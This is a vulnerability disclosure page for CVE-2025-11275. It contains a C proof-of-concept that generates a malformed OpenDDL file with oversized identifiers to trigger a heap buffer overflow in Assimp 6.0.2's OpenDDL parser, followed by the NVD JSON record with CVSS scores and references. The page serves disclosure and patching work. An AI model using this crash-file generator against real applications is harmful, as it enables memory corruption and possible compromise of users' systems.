CVE-2025-11275

// CVE-2025-11275 PoC - Assimp 6.0.2 OpenDDL Parser Heap Buffer Overflow // Triggered via ODDLParser::getNextSeparator in OpenDDLParserUtils.h // This PoC creates a malformed OpenDDL file with an excessively long identifier // to trigger heap-based buffer overflow in the getNextSeparator function. #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { // OpenDDL format: structure with a very long identifier name // The getNextSeparator function fails to validate buffer boundaries // when processing extremely long tokens, causing heap overflow. const char *filename = "poc.openddl"; FILE *fp = fopen(filename, "w"); if (!fp) { perror("fopen"); return 1; } // Write OpenDDL header fprintf(fp, "OpenDDL Resource Script\n"); // Create a structure block with an overly long identifier // This triggers the buffer overflow in getNextSeparator() // when the parser tries to locate the next separator after // the identifier token. fprintf(fp, "Structure $"); // Write a very long identifier (exceeds internal buffer size) // The default internal buffer in OpenDDLParser is typically 256 bytes int identifier_len = 8192; // Significantly larger than internal buffer for (int i = 0; i < identifier_len; i++) { fputc('A', fp); } fprintf(fp, " {\n"); // Add nested content to increase parsing complexity fprintf(fp, " FloatArray $"); for (int i = 0; i < 4096; i++) { fputc('B', fp); } fprintf(fp, " [ "); for (int i = 0; i < 1000; i++) { fprintf(fp, "1.0 "); } fprintf(fp, "]\n"); // Close the structure fprintf(fp, "}\n"); fclose(fp); printf("PoC file '%s' generated successfully.\n", filename); printf("Open this file with any application using Assimp 6.0.2 to trigger\n"); printf("heap-based buffer overflow in ODDLParser::getNextSeparator().\n"); return 0; }

{"cve": {"id": "CVE-2025-11275", "sourceIdentifier": "[email protected]", "published": "2025-10-05T01:15:35.467", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Open Asset Import Library Assimp 6.0.2. Affected by this vulnerability is the function ODDLParser::getNextSeparator in the library assimp/contrib/openddlparser/include/openddlparser/OpenDDLParserUtils.h. Such manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit is publicly available and might be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:assimp:assimp:6.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "B5BC643B-B249-45CC-A377-45E37EB62AEA"}]}]}], "references": [{"url": "https://github.com/assimp/assimp/issues/6357", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/user-attachments/files/22417682/poc.zip", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?ctiid.327009", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327009", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.658675", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}